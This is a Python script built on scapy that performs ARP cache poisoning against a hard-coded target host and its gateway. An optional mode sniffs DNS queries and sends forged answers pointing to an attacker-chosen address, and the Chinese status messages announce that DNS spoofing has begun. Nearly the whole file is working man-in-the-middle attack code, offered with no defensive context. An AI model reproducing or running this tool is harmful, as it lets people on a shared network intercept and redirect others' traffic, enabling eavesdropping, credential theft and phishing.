import sys import os import threading from scapy.all import * from optparse import OptionParser
def DNS_Spoof(data): if data.haslayer(DNS): try: dns_an=DNSRR(rrname=data[DNS].qd.qname,rdata=jokers) repdata=IP(src=data[IP].dst,dst=data[IP].src)/UDP(dport=data[IP].sport,sport=53) repdata/=DNS(id=data[DNS].id,qd=data[DNS].qd,qr=1,an=dns_an) print ('\nhancker ip :' + jokers + " url : "+data[DNS].qd.qname) send(repdata) except Exception: sys.exit(1)
def DNS_S(dns_ip,iface): global jokers jokers=dns_ip print ("DNS欺骗开始!") sniff(prn=DNS_Spoof,filter='udp dst port 53',iface=iface)
def op(eths,mubiao_ip,Ps,gateway_ip): ip=mubiao_ip wifi=gateway_ip dst_Mac=str(getmacbyip(ip)) self_Mac=str(get_if_hwaddr(eths)) wifi_Mac=str(getmacbyip(wifi)) Ether_data=Ether(src=self_Mac,dst=dst_Mac)/ARP(op=2,hwsrc=self_Mac,psrc=wifi,hwdst=dst_Mac,pdst=ip) try: sendp(Ether_data,inter=2,iface=eths,loop=1) except Exception as e: print("目标ARP数据发送失败!") def wifi(eths,mubiao_ip,gateway_ip,Ps,dns_ip): ip=gateway_ip dst=mubiao_ip et = eths dst_Mac = getmacbyip(ip) self_Mac = get_if_hwaddr(et) Ether_data = None if Ps=="1": Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc='12:1a:13:a3:13:ef', psrc=dst, hwdst=dst_Mac, pdst=ip) t3 = threading.Thread(target=DNS_S, args=(dns_ip,eths)) t3.setDaemon(True) t3.start() if Ps == "0": Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=self_Mac, psrc=dst, hwdst=dst_Mac, pdst=ip) if Ps!="1" and Ps!="0": print (Ps) print (type(Ps)) print ('-P 参数有误!') sys.exit(1) try: sendp(Ether_data, inter=2,iface=et,loop=1) except Exception as e: print("网关ARP数据发送失败!") def main(): try: eth= "Realtek PCIe GBE Family Controller" mubiao="192.168.1.6" gateway="192.168.1.1" P="0" dip="8.8.8.8" t1=threading.Thread(target=op,args=(eth,mubiao,P,gateway)) t1.setDaemon(True) t1.start() t2=threading.Thread(target=wifi,args=(eth,mubiao,gateway,P,dip)) t2.setDaemon(True) t2.start() except Exception as e: print (e) sys.exit(1) while True: pass
if __name__ == '__main__': main()
|